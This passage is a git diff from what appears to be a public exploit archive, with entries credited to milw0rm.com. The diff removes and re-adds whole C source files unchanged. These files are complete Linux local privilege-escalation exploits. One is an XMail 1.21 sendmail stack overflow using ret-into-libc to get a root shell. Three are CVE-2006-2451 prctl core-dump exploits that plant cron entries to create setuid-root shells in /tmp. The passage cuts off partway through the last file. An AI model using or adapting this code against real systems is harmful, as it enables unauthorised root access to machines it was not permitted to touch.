+		0x00, 0x43, 0x6e, 0xc2, 0x05, 0x23 };
+
+	memcpy((void*)(buffer+14), (void*)bad_buffer, MY_FRAME_LEN);
+
+	/* overwrite our src and dst ip */
+	memcpy((void*)(buffer+22), (void*)src_ip, 16);
+	memcpy((void*)(buffer+38), dest_ip, 16);
+
+	/* send the buffer */
+	int send_result = 0;
+	send_result = sendto(s, buffer, MY_FRAME_LEN, 0, (struct sockaddr*)&socket_address, sizeof(socket_address));
+	if (send_result == -1) { 
+		printf("could not send frame: [%d]\n", send_result); 
+		exit(1);
+	}
+	else printf("frame send to ip [%s] with mac [%s] on iface [%s]\n",argv[1],argv[2],argv[3]);
+
+	return 0;
+}
+
+// milw0rm.com [2008-01-11]
diff --git a/platforms/linux/local/1267.c b/platforms/linux/local/1267.c
index 882c53149..2b56942dd 100755
--- a/platforms/linux/local/1267.c
+++ b/platforms/linux/local/1267.c
@@ -1,251 +1,251 @@
-/*
-* XMail 1.21 'sendmail' local exploit (ret-into-libc)
-* Yields uid root || gid mail
-* By qaaz [at] centrum [dot] cz, 2005
-*/
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <signal.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/select.h>
-
-
-#define TARGET "/var/MailRoot/bin/sendmail"
-
-#define NM "nm"
-#define GREP "grep"
-#define MKDIR "mkdir"
-#define TMP "/tmp"
-#define MAILROOT TMP"/mr"
-
-#define ID "/usr/bin/id"
-#define SH "/bin/sh"
-
-#define OVERLEN (256+12 + 16)
-/* EmitRecipients() stack */
-/* | locals + padding + PUSHes | RET | Arg1... | */
-/* |<--------- OVERLEN ------->| */
-
-#define MAX(x,y) (((x)>(y)) ? (x) : (y))
-
-char *libc_file = NULL;
-unsigned int libc_base = 0;
-unsigned int stack_base = 0;
-
-unsigned int file_addr = 0;
-unsigned int system_addr = 0;
-
-int pid;
-int pi[2], po[2], pe[2];
-
-void sigchild(int sig)
-{
-if (waitpid(pid, NULL, WNOHANG) == pid) {
-printf("[*] Vuln terminated\n");
-exit(-1);
-}
-}
-
-void killchild()
-{
-if (pid) kill(pid, SIGKILL);
-}
-
-char bad_chars(char *buf, int len)
-{
-int i;
-if (len == 0) len == strlen(buf);
-for (i = 0; i < len; i++) {
-if (!buf[i] || strchr("<> \t,\":;'\r\n", buf[i]))
-return buf[i];
-}
-return 0;
-}
-
-unsigned int get_sym(char *lib, char *sym)
-{
-FILE *f;
-char buf[1024];
-unsigned int val = 0;
-
-sprintf(buf, "%s -D %s | %s -w %s", NM, lib, GREP, sym);
-if (f = popen(buf, "r")) {
-fgets(buf, sizeof(buf), f);
-sscanf(buf, "%08lx %*s %*s", &val);
-pclose(f);
-}
-return val;
-}
-
-unsigned int check_sym(char *lib, char *sym, unsigned int base)
-{
-unsigned int offs = get_sym(lib, sym);
-unsigned int addr = base + offs;
-
-if (!offs) {
-printf("[-] %s: not found?\n", sym);
-return 0;
-}
-if (bad_chars((char *) &addr, 4)) {
-printf("[-] %s: 0x%08x, bad chars\n", sym, addr);
-return 0;
-}
-printf("[+] %s: 0x%08x\n", sym, addr);
-return addr;
-}
-
-void do_maps(int pid)
-{
-FILE *f;
-char buf[1024];
-
-sprintf(buf, "/proc/%d/maps", pid);
-if (!(f = fopen(buf, "r"))) return;
-
-while (fgets(buf, sizeof(buf), f)) {
-unsigned int addr_beg, addr_end;
-char pathname[1024];
-int offset;
-
-pathname[0] = 0;
-sscanf(buf, "%08lx-%08lx %*s %08lx %*s %*s %s",
-&addr_beg, &addr_end, &offset, pathname);
-
-if (offset < 0)
-stack_base = addr_end;
-else if (strstr(pathname, "/libc") && (!libc_base || addr_beg < libc_base))
-libc_base = addr_beg, libc_file = (char *) strdup(pathname);
-}
-fclose(f);
-}
-
-void do_syms()
-{
-if (!(file_addr = check_sym(libc_file, "stdout", libc_base))
-&& !(file_addr = check_sym(libc_file, "stderr", libc_base))
-&& !(file_addr = check_sym(libc_file, "stdin", libc_base))) {
-printf("[-] Can't use std files\n");
-exit(-1);
-}
-
-if (!(system_addr = check_sym(libc_file, "system", libc_base))) {
-printf("[-] Can't use system()\n");
-exit(-1);
-}
-}
-
-void do_shell()
-{
-fd_set fds;
-struct timeval tv;
-int retval, maxfd;
-char buf[1024];
-
-maxfd = MAX(0, MAX(po[0], pe[0])) + 1;
-
-while (1) {
-FD_ZERO(&fds);
-FD_SET(0, &fds);
-FD_SET(po[0], &fds);
-FD_SET(pe[0], &fds);
-tv.tv_sec = 0;
-tv.tv_usec = 100;
-
-if (select(maxfd, &fds, NULL, NULL, &tv) == -1) break;
-
-if (FD_ISSET(0, &fds)) {
-if ((retval = read(0, buf, sizeof(buf))) <= 0) break;
-write(pi[1], buf, retval);
-}
-if (FD_ISSET(po[0], &fds)) {
-if ((retval = read(po[0], buf, sizeof(buf))) <= 0) break;
-write(1, buf, retval);
-}
-if (FD_ISSET(pe[0], &fds)) {
-if ((retval = read(pe[0], buf, sizeof(buf))) <= 0) break;
-write(2, buf, retval);
-}
-}
-}
-
-int main(int argc, char *argv[])
-{
-if (argc > 1 && !strcmp(argv[1], "-sh")) {
-setresuid(geteuid(), geteuid(), geteuid());
-setresgid(getegid(), getegid(), getegid());
-system(ID);
-execl(SH, SH, "-i", NULL);
-perror("execl");
-exit(-1);
-}
-
-if (pipe(pi) || pipe(po) || pipe(pe)) {
-perror("[-] pipe");
-return -1;
-}
-
-if ((pid = fork()) == -1) {
-perror("[-] fork");
-return -1;
-}
-
-if (pid) {
-unsigned int i;
-char buf[10*1024];
-
-atexit(killchild);
-signal(SIGCHLD, sigchild);
-sleep(1);
-
-printf("[*] Reading maps...\n");
-do_maps(pid);
-printf("[%c] libc: 0x%08x\n", libc_base?'+':'-', libc_base);
-if (!libc_base) exit(-1);
-printf("[%c] stack: 0x%08x\n", stack_base?'+':'-', stack_base);
-if (!stack_base) exit(-1);
-
-printf("[*] Getting symbols...\n");
-do_syms();
-
-strcpy(buf, "To: h4h4@");
-for (i = 0; i < OVERLEN-5; i++) // "h4h4@" == 5
-strcat(buf, "A");
-strncat(buf, (char *) &system_addr, 4);
-strncat(buf, (char *) &file_addr, 4);
-i = stack_base - 5000;
-strncat(buf, (char *) &i, 4);
-strcat(buf, "\n");
-
-write(pi[1], buf, strlen(buf));
-sleep(1); do_shell();
-printf("[*] Done\n");
-exit(1);
-}
-else {
-char buf[10*1024];
-char *_env[3] = { NULL, "MAIL_ROOT="MAILROOT, NULL };
-char *_arg[3] = { TARGET, "-t", NULL };
-
-sprintf(buf, "%s -p %s/spool/temp", MKDIR, MAILROOT);
-system(buf);
-
-sprintf(buf, "%10000s -sh", argv[0]);
-_env[0] = (char *) strdup(buf);
-
-printf("[*] Executing vuln...\n");
-
-close(0); dup2(pi[0], 0);
-close(1); dup2(po[1], 1);
-close(2); dup2(pe[1], 2);
-execve(_arg[0], _arg, _env);
-perror("[-] execve");
-return -1;
-}
-
-exit(1);
-}
-
-// milw0rm.com [2005-10-20]
+/*
+* XMail 1.21 'sendmail' local exploit (ret-into-libc)
+* Yields uid root || gid mail
+* By qaaz [at] centrum [dot] cz, 2005
+*/
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <signal.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/select.h>
+
+
+#define TARGET "/var/MailRoot/bin/sendmail"
+
+#define NM "nm"
+#define GREP "grep"
+#define MKDIR "mkdir"
+#define TMP "/tmp"
+#define MAILROOT TMP"/mr"
+
+#define ID "/usr/bin/id"
+#define SH "/bin/sh"
+
+#define OVERLEN (256+12 + 16)
+/* EmitRecipients() stack */
+/* | locals + padding + PUSHes | RET | Arg1... | */
+/* |<--------- OVERLEN ------->| */
+
+#define MAX(x,y) (((x)>(y)) ? (x) : (y))
+
+char *libc_file = NULL;
+unsigned int libc_base = 0;
+unsigned int stack_base = 0;
+
+unsigned int file_addr = 0;
+unsigned int system_addr = 0;
+
+int pid;
+int pi[2], po[2], pe[2];
+
+void sigchild(int sig)
+{
+if (waitpid(pid, NULL, WNOHANG) == pid) {
+printf("[*] Vuln terminated\n");
+exit(-1);
+}
+}
+
+void killchild()
+{
+if (pid) kill(pid, SIGKILL);
+}
+
+char bad_chars(char *buf, int len)
+{
+int i;
+if (len == 0) len == strlen(buf);
+for (i = 0; i < len; i++) {
+if (!buf[i] || strchr("<> \t,\":;'\r\n", buf[i]))
+return buf[i];
+}
+return 0;
+}
+
+unsigned int get_sym(char *lib, char *sym)
+{
+FILE *f;
+char buf[1024];
+unsigned int val = 0;
+
+sprintf(buf, "%s -D %s | %s -w %s", NM, lib, GREP, sym);
+if (f = popen(buf, "r")) {
+fgets(buf, sizeof(buf), f);
+sscanf(buf, "%08lx %*s %*s", &val);
+pclose(f);
+}
+return val;
+}
+
+unsigned int check_sym(char *lib, char *sym, unsigned int base)
+{
+unsigned int offs = get_sym(lib, sym);
+unsigned int addr = base + offs;
+
+if (!offs) {
+printf("[-] %s: not found?\n", sym);
+return 0;
+}
+if (bad_chars((char *) &addr, 4)) {
+printf("[-] %s: 0x%08x, bad chars\n", sym, addr);
+return 0;
+}
+printf("[+] %s: 0x%08x\n", sym, addr);
+return addr;
+}
+
+void do_maps(int pid)
+{
+FILE *f;
+char buf[1024];
+
+sprintf(buf, "/proc/%d/maps", pid);
+if (!(f = fopen(buf, "r"))) return;
+
+while (fgets(buf, sizeof(buf), f)) {
+unsigned int addr_beg, addr_end;
+char pathname[1024];
+int offset;
+
+pathname[0] = 0;
+sscanf(buf, "%08lx-%08lx %*s %08lx %*s %*s %s",
+&addr_beg, &addr_end, &offset, pathname);
+
+if (offset < 0)
+stack_base = addr_end;
+else if (strstr(pathname, "/libc") && (!libc_base || addr_beg < libc_base))
+libc_base = addr_beg, libc_file = (char *) strdup(pathname);
+}
+fclose(f);
+}
+
+void do_syms()
+{
+if (!(file_addr = check_sym(libc_file, "stdout", libc_base))
+&& !(file_addr = check_sym(libc_file, "stderr", libc_base))
+&& !(file_addr = check_sym(libc_file, "stdin", libc_base))) {
+printf("[-] Can't use std files\n");
+exit(-1);
+}
+
+if (!(system_addr = check_sym(libc_file, "system", libc_base))) {
+printf("[-] Can't use system()\n");
+exit(-1);
+}
+}
+
+void do_shell()
+{
+fd_set fds;
+struct timeval tv;
+int retval, maxfd;
+char buf[1024];
+
+maxfd = MAX(0, MAX(po[0], pe[0])) + 1;
+
+while (1) {
+FD_ZERO(&fds);
+FD_SET(0, &fds);
+FD_SET(po[0], &fds);
+FD_SET(pe[0], &fds);
+tv.tv_sec = 0;
+tv.tv_usec = 100;
+
+if (select(maxfd, &fds, NULL, NULL, &tv) == -1) break;
+
+if (FD_ISSET(0, &fds)) {
+if ((retval = read(0, buf, sizeof(buf))) <= 0) break;
+write(pi[1], buf, retval);
+}
+if (FD_ISSET(po[0], &fds)) {
+if ((retval = read(po[0], buf, sizeof(buf))) <= 0) break;
+write(1, buf, retval);
+}
+if (FD_ISSET(pe[0], &fds)) {
+if ((retval = read(pe[0], buf, sizeof(buf))) <= 0) break;
+write(2, buf, retval);
+}
+}
+}
+
+int main(int argc, char *argv[])
+{
+if (argc > 1 && !strcmp(argv[1], "-sh")) {
+setresuid(geteuid(), geteuid(), geteuid());
+setresgid(getegid(), getegid(), getegid());
+system(ID);
+execl(SH, SH, "-i", NULL);
+perror("execl");
+exit(-1);
+}
+
+if (pipe(pi) || pipe(po) || pipe(pe)) {
+perror("[-] pipe");
+return -1;
+}
+
+if ((pid = fork()) == -1) {
+perror("[-] fork");
+return -1;
+}
+
+if (pid) {
+unsigned int i;
+char buf[10*1024];
+
+atexit(killchild);
+signal(SIGCHLD, sigchild);
+sleep(1);
+
+printf("[*] Reading maps...\n");
+do_maps(pid);
+printf("[%c] libc: 0x%08x\n", libc_base?'+':'-', libc_base);
+if (!libc_base) exit(-1);
+printf("[%c] stack: 0x%08x\n", stack_base?'+':'-', stack_base);
+if (!stack_base) exit(-1);
+
+printf("[*] Getting symbols...\n");
+do_syms();
+
+strcpy(buf, "To: h4h4@");
+for (i = 0; i < OVERLEN-5; i++) // "h4h4@" == 5
+strcat(buf, "A");
+strncat(buf, (char *) &system_addr, 4);
+strncat(buf, (char *) &file_addr, 4);
+i = stack_base - 5000;
+strncat(buf, (char *) &i, 4);
+strcat(buf, "\n");
+
+write(pi[1], buf, strlen(buf));
+sleep(1); do_shell();
+printf("[*] Done\n");
+exit(1);
+}
+else {
+char buf[10*1024];
+char *_env[3] = { NULL, "MAIL_ROOT="MAILROOT, NULL };
+char *_arg[3] = { TARGET, "-t", NULL };
+
+sprintf(buf, "%s -p %s/spool/temp", MKDIR, MAILROOT);
+system(buf);
+
+sprintf(buf, "%10000s -sh", argv[0]);
+_env[0] = (char *) strdup(buf);
+
+printf("[*] Executing vuln...\n");
+
+close(0); dup2(pi[0], 0);
+close(1); dup2(po[1], 1);
+close(2); dup2(pe[1], 2);
+execve(_arg[0], _arg, _env);
+perror("[-] execve");
+return -1;
+}
+
+exit(1);
+}
+
+// milw0rm.com [2005-10-20]
diff --git a/platforms/linux/local/140.c b/platforms/linux/local/140.c
index 30fd54341..470d43e6f 100755
--- a/platforms/linux/local/140.c
+++ b/platforms/linux/local/140.c
@@ -44,6 +44,6 @@ int main (int argc, char ** argv)
 	memcpy((char *)out+63, shellcode, strlen(shellcode));
 
 	execl (BIN, BIN, "-xsokdir", out, 0x0);
-}
-
-// milw0rm.com [2004-01-02]
+}
+
+// milw0rm.com [2004-01-02]
diff --git a/platforms/linux/local/2004.c b/platforms/linux/local/2004.c
index 9f521be8f..d35a7605c 100755
--- a/platforms/linux/local/2004.c
+++ b/platforms/linux/local/2004.c
@@ -1,52 +1,52 @@
-/*****************************************************/
-/* Local r00t Exploit for:                           */
-/* Linux Kernel PRCTL Core Dump Handling             */
-/* ( BID 18874 / CVE-2006-2451 )                     */
-/* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)           */
-/* By:                                               */
-/* - dreyer    <luna@aditel.org>   (main PoC code)   */
-/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
-/*                                  [ 10.Jul.2006 ]  */
-/*****************************************************/
-
-#include <stdio.h>
-#include <sys/time.h>
-#include <sys/resource.h>
-#include <unistd.h>
-#include <linux/prctl.h>
-#include <stdlib.h>
-#include <sys/types.h>
-#include <signal.h>
-
-char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";
-
-int main() { 
-    int child;
-    struct rlimit corelimit;
-    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
-    printf("By: dreyer & RoMaNSoFt\n");
-    printf("[ 10.Jul.2006 ]\n\n");
-
-    corelimit.rlim_cur = RLIM_INFINITY;
-    corelimit.rlim_max = RLIM_INFINITY;
-    setrlimit(RLIMIT_CORE, &corelimit);
-
-    printf("[*] Creating Cron entry\n");
-
-    if ( !( child = fork() )) {
-        chdir("/etc/cron.d");
-        prctl(PR_SET_DUMPABLE, 2);
-        sleep(200);
-        exit(1);
-    }
-
-    kill(child, SIGSEGV);
-
-    printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
-    sleep(62);
-
-    printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
-    system("/tmp/sh -i");
-}
-
-// milw0rm.com [2006-07-11]
+/*****************************************************/
+/* Local r00t Exploit for:                           */
+/* Linux Kernel PRCTL Core Dump Handling             */
+/* ( BID 18874 / CVE-2006-2451 )                     */
+/* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)           */
+/* By:                                               */
+/* - dreyer    <luna@aditel.org>   (main PoC code)   */
+/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
+/*                                  [ 10.Jul.2006 ]  */
+/*****************************************************/
+
+#include <stdio.h>
+#include <sys/time.h>
+#include <sys/resource.h>
+#include <unistd.h>
+#include <linux/prctl.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <signal.h>
+
+char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";
+
+int main() { 
+    int child;
+    struct rlimit corelimit;
+    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
+    printf("By: dreyer & RoMaNSoFt\n");
+    printf("[ 10.Jul.2006 ]\n\n");
+
+    corelimit.rlim_cur = RLIM_INFINITY;
+    corelimit.rlim_max = RLIM_INFINITY;
+    setrlimit(RLIMIT_CORE, &corelimit);
+
+    printf("[*] Creating Cron entry\n");
+
+    if ( !( child = fork() )) {
+        chdir("/etc/cron.d");
+        prctl(PR_SET_DUMPABLE, 2);
+        sleep(200);
+        exit(1);
+    }
+
+    kill(child, SIGSEGV);
+
+    printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
+    sleep(62);
+
+    printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
+    system("/tmp/sh -i");
+}
+
+// milw0rm.com [2006-07-11]
diff --git a/platforms/linux/local/2005.c b/platforms/linux/local/2005.c
index 38bed9446..28f273b66 100755
--- a/platforms/linux/local/2005.c
+++ b/platforms/linux/local/2005.c
@@ -1,127 +1,127 @@
-/* Linux >= 2.6.13 prctl kernel exploit
- *
- * (C) Julien TINNES
- *
- * If you read the Changelog from 2.6.13 you've probably seen:
- *  [PATCH] setuid core dump
- * 
- * This patch mainly adds suidsafe to suid_dumpable sysctl but also a new per process,
- * user setable argument to PR_SET_DUMPABLE.
- * 
- * This flaw allows us to create a root owned coredump into any directory.
- * This is trivially exploitable.
- *
- */
-
-#include <sys/types.h>
-#include <sys/time.h>
-#include <sys/resource.h>
-#include <sys/prctl.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <errno.h>
-#include <signal.h>
-#include <stdlib.h>
-#include <time.h>
-
-#define CROND "/etc/cron.d"
-#define BUFSIZE 2048
-
-
-struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY};
-
-char	crontemplate[]=
-"#/etc/cron.d/core suid_dumpable exploit\n"
-"SHELL=/bin/sh\n"
-"PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n"
-"#%s* * * * *	root	 chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n";
-
-char	cronstring[BUFSIZE];
-char	fname[BUFSIZE];
-
-struct timeval te;
-
-void sh(int sn) {
-	execl(fname, fname, (char *) NULL);
-}
-	
-
-int	main(int argc, char *argv[]) {
-
-	int nw, pid;
-
-	if (geteuid() == 0) {
-		printf("[+] getting root shell\n");
-		setuid(0);
-		setgid(0);
-		if (execl("/bin/sh", "/bin/sh", (char *) NULL)) {
-			perror("[-] execle");
-			return 1;
-		}
-	}
-
-	printf("\nprctl() suidsafe exploit\n\n(C) Julien TINNES\n\n");
-
-	/* get our file name */
-	if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) {
-		perror("[-] readlink");
-		printf("This is not fatal, rewrite the exploit\n");
-	}
-
-	if (signal(SIGUSR1, sh) == SIG_ERR) {
-		perror("[-] signal");
-		return 1;
-	}
-	printf("[+] Installed signal handler\n");
-
-	/* Let us create core files */
-	setrlimit(RLIMIT_CORE, &myrlimit);
-	if (chdir(CROND) == -1) {
-		perror("[-] chdir");
-		return 1;
-	}
-
-	/* exploit the flaw */
-	if (prctl(PR_SET_DUMPABLE, 2) == -1) {
-		perror("[-] prtctl");
-		printf("Is you kernel version >= 2.6.13 ?\n");
-		return 1;
-	}
-
-	printf("[+] We are suidsafe dumpable!\n");
-
-	/* Forge the string for our core dump */
-	nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "\n", fname, fname, CROND"/core", getpid());
-	if (nw >= sizeof(cronstring)) {
-		printf("[-] cronstring is too small\n");
-		return 1;
-	}
-	printf("[+] Malicious string forged\n");
-
-	if ((pid=fork()) == -1) {
-		perror("[-] fork");
-		return 1;
-	}
-
-	if (pid == 0) {
-		/* This is not the good way to do it ;) */
-		sleep(120);
-		exit(0);
-	}
-
-	/* SEGFAULT the child */
-	printf("[+] Segfaulting child\n");
-	if (kill(pid, 11) == -1) {
-		perror("[-] kill");
-		return 1;
-	}
-	if (gettimeofday(&te, NULL) == 0) 
-		printf("[+] Waiting for exploit to succeed (~%ld seconds)\n", 60 - (te.tv_sec%60));
-	sleep(120);
-
-	printf("[-] It looks like the exploit failed\n");
-
-	return 1;
-}
-
-// milw0rm.com [2006-07-12]
+/* Linux >= 2.6.13 prctl kernel exploit
+ *
+ * (C) Julien TINNES
+ *
+ * If you read the Changelog from 2.6.13 you've probably seen:
+ *  [PATCH] setuid core dump
+ * 
+ * This patch mainly adds suidsafe to suid_dumpable sysctl but also a new per process,
+ * user setable argument to PR_SET_DUMPABLE.
+ * 
+ * This flaw allows us to create a root owned coredump into any directory.
+ * This is trivially exploitable.
+ *
+ */
+
+#include <sys/types.h>
+#include <sys/time.h>
+#include <sys/resource.h>
+#include <sys/prctl.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <errno.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <time.h>
+
+#define CROND "/etc/cron.d"
+#define BUFSIZE 2048
+
+
+struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY};
+
+char	crontemplate[]=
+"#/etc/cron.d/core suid_dumpable exploit\n"
+"SHELL=/bin/sh\n"
+"PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n"
+"#%s* * * * *	root	 chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n";
+
+char	cronstring[BUFSIZE];
+char	fname[BUFSIZE];
+
+struct timeval te;
+
+void sh(int sn) {
+	execl(fname, fname, (char *) NULL);
+}
+	
+
+int	main(int argc, char *argv[]) {
+
+	int nw, pid;
+
+	if (geteuid() == 0) {
+		printf("[+] getting root shell\n");
+		setuid(0);
+		setgid(0);
+		if (execl("/bin/sh", "/bin/sh", (char *) NULL)) {
+			perror("[-] execle");
+			return 1;
+		}
+	}
+
+	printf("\nprctl() suidsafe exploit\n\n(C) Julien TINNES\n\n");
+
+	/* get our file name */
+	if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) {
+		perror("[-] readlink");
+		printf("This is not fatal, rewrite the exploit\n");
+	}
+
+	if (signal(SIGUSR1, sh) == SIG_ERR) {
+		perror("[-] signal");
+		return 1;
+	}
+	printf("[+] Installed signal handler\n");
+
+	/* Let us create core files */
+	setrlimit(RLIMIT_CORE, &myrlimit);
+	if (chdir(CROND) == -1) {
+		perror("[-] chdir");
+		return 1;
+	}
+
+	/* exploit the flaw */
+	if (prctl(PR_SET_DUMPABLE, 2) == -1) {
+		perror("[-] prtctl");
+		printf("Is you kernel version >= 2.6.13 ?\n");
+		return 1;
+	}
+
+	printf("[+] We are suidsafe dumpable!\n");
+
+	/* Forge the string for our core dump */
+	nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "\n", fname, fname, CROND"/core", getpid());
+	if (nw >= sizeof(cronstring)) {
+		printf("[-] cronstring is too small\n");
+		return 1;
+	}
+	printf("[+] Malicious string forged\n");
+
+	if ((pid=fork()) == -1) {
+		perror("[-] fork");
+		return 1;
+	}
+
+	if (pid == 0) {
+		/* This is not the good way to do it ;) */
+		sleep(120);
+		exit(0);
+	}
+
+	/* SEGFAULT the child */
+	printf("[+] Segfaulting child\n");
+	if (kill(pid, 11) == -1) {
+		perror("[-] kill");
+		return 1;
+	}
+	if (gettimeofday(&te, NULL) == 0) 
+		printf("[+] Waiting for exploit to succeed (~%ld seconds)\n", 60 - (te.tv_sec%60));
+	sleep(120);
+
+	printf("[-] It looks like the exploit failed\n");
+
+	return 1;
+}
+
+// milw0rm.com [2006-07-12]
diff --git a/platforms/linux/local/2006.c b/platforms/linux/local/2006.c
index 9286c6820..d0c6d1310 100755
--- a/platforms/linux/local/2006.c
+++ b/platforms/linux/local/2006.c
@@ -1,111 +1,111 @@
-/*
- * $Id: raptor_prctl.c,v 1.1 2006/07/13 14:21:43 raptor Exp $
- *
- * raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability
- * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
- *
- * The suid_dumpable support in Linux kernel 2.6.13 up to versions before 
- * 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial 
- * of service (disk consumption) and POSSIBILY (yeah, sure;) gain privileges 
- * via the PR_SET_DUMPABLE argument of the prctl function and a program that 
- * causes a core dump file to be created in a directory for which the user does 
- * not have permissions (CVE-2006-2451).
- *
- * Berlin, Sunday July 9th 2006: CAMPIONI DEL MONDO! CAMPIONI DEL MONDO!
- * CAMPIONI DEL MONDO! (i was tempted to name this exploit "pajolo.c";))
- *
- * Greets to Paul Starzetz and Roman Medina, who also exploited this ugly bug.
- *
- * NOTE. This exploit uses the Vixie's crontab /etc/cron.d attack vector: this
- * means that distributions that use a different configuration (namely Dillon's
- * crontab on Slackware Linux) can be vulnerable but not directly exploitable.
- *
- * Usage:
- * $ gcc raptor_prctl.c -o raptor_prctl -Wall
- * [exploit must be dinamically linked]
- * $ ./raptor_prctl
- * [...]
- * sh-3.00#
- *
- * Vulnerable platforms:
- * Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default]
- */
-
-#include <stdio.h>
-#include <unistd.h>
-#include <stdlib.h>
-#include <signal.h>
-#include <sys/stat.h>
-#include <sys/resource.h>
-#include <sys/prctl.h>
-
-#define INFO1	"raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability"
-#define	INFO2	"Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
-
-char payload[] = /* commands to be executed by privileged crond */
-"\nSHELL=/bin/sh\nPATH=/usr/bin:/usr/sbin:/sbin:/bin\n* * * * *   root   chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/cron.d/core\n";
-
-char pwnage[] = /* build setuid() helper to circumvent bash checks */
-"echo \"main(){setuid(0);setgid(0);system(\\\"/bin/sh\\\");}\" > /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &>/dev/null; rm -f /tmp/pwned.c";
-
-int main(void)
-{
-	int 		pid, i;
-	struct rlimit 	corelimit;
-	struct stat	st;
-
-	/* print exploit information */
-	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
-
-	/* prepare the setuid() helper */
-	system(pwnage);
-
-	/* set core size to unlimited */
-	corelimit.rlim_cur = RLIM_INFINITY;
-	corelimit.rlim_max = RLIM_INFINITY;
-	setrlimit(RLIMIT_CORE, &corelimit);
-
-	/* let's do the PR_SET_DUMPABLE magic */
-	if (!(pid = fork())) {
-		chdir("/etc/cron.d");
-		prctl(PR_SET_DUMPABLE, 2);
-		sleep(666);
-		exit(1);
-	}
-	kill(pid, SIGSEGV);
-
-	/* did it work? */
-	sleep(3);
-	if (stat("/etc/cron.d/core", &st) < 0) {
-		fprintf(stderr, "Error: Not vulnerable? See comments.\n");
-		exit(1);
-	}
-
-	fprintf(stderr, "Ready to uncork the champagne? ");
-	fprintf(stderr, "Please wait a couple of minutes;)\n");
-
-	/* wait for crond to execute our evil entry */
-	for (i = 0; i < 124; i += 2) {
-		if (stat("/tmp/pwned", &st) < 0) {
-			fprintf(stderr, "\nError: Check /tmp/pwned!\n");
-			exit(1);
-		}
-		if (st.st_uid == 0)	
-			break;
-		fprintf(stderr, ".");
-		sleep(2);
-	}
-
-	/* timeout reached? */
-	if (i > 120) {
-		fprintf(stderr, "\nTimeout: Check /tmp/pwned!\n");
-		exit(1);
-	}
-
-	/* total pwnage */
-	fprintf(stderr, "CAMPIONI DEL MONDO!\n\n");
-	system("/tmp/pwned");
-	exit(0);
-}
-
-// milw0rm.com [2006-07-13]
+/*
+ * $Id: raptor_prctl.c,v 1.1 2006/07/13 14:21:43 raptor Exp $
+ *
+ * raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability
+ * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
+ *
+ * The suid_dumpable support in Linux kernel 2.6.13 up to versions before 
+ * 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial 
+ * of service (disk consumption) and POSSIBILY (yeah, sure;) gain privileges 
+ * via the PR_SET_DUMPABLE argument of the prctl function and a program that 
+ * causes a core dump file to be created in a directory for which the user does 
+ * not have permissions (CVE-2006-2451).
+ *
+ * Berlin, Sunday July 9th 2006: CAMPIONI DEL MONDO! CAMPIONI DEL MONDO!
+ * CAMPIONI DEL MONDO! (i was tempted to name this exploit "pajolo.c";))
+ *
+ * Greets to Paul Starzetz and Roman Medina, who also exploited this ugly bug.
+ *
+ * NOTE. This exploit uses the Vixie's crontab /etc/cron.d attack vector: this
+ * means that distributions that use a different configuration (namely Dillon's
+ * crontab on Slackware Linux) can be vulnerable but not directly exploitable.
+ *
+ * Usage:
+ * $ gcc raptor_prctl.c -o raptor_prctl -Wall
+ * [exploit must be dinamically linked]
+ * $ ./raptor_prctl
+ * [...]
+ * sh-3.00#
+ *
+ * Vulnerable platforms:
+ * Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default]
+ */
+
+#include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <signal.h>
+#include <sys/stat.h>
+#include <sys/resource.h>
+#include <sys/prctl.h>
+
